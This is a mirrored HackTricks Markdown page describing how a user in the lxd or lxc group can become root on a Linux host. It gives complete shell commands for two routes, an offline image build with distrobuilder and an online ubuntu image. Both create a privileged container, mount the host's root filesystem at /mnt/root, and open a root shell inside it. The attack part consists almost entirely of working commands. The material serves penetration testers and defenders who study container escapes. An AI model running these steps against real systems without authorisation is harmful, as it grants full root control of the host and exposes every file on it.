mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
104 lines
4 KiB
Markdown
104 lines
4 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
|
|
|
|
# Exploiting without internet
|
|
|
|
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
|
|
|
|
```bash
|
|
#Install requirements
|
|
sudo apt update
|
|
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
|
|
#Clone repo
|
|
go get -d -v github.com/lxc/distrobuilder
|
|
#Make distrobuilder
|
|
cd $HOME/go/src/github.com/lxc/distrobuilder
|
|
make
|
|
cd
|
|
#Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
#Create the container
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
|
|
```
|
|
|
|
Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs**
|
|
|
|
Add the image:
|
|
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
lxc image list #You can see your new imported image
|
|
```
|
|
|
|
Create a container and add root path
|
|
|
|
```bash
|
|
lxc init alpine privesc -c security.privileged=true
|
|
lxc list #List containers
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
|
|
Execute the container:
|
|
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
|
|
# With internet
|
|
|
|
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
|
|
|
|
```bash
|
|
lxc init ubuntu:16.04 test -c security.privileged=true
|
|
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
|
lxc start test
|
|
lxc exec test bash
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
|
|
# Other Refs
|
|
|
|
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|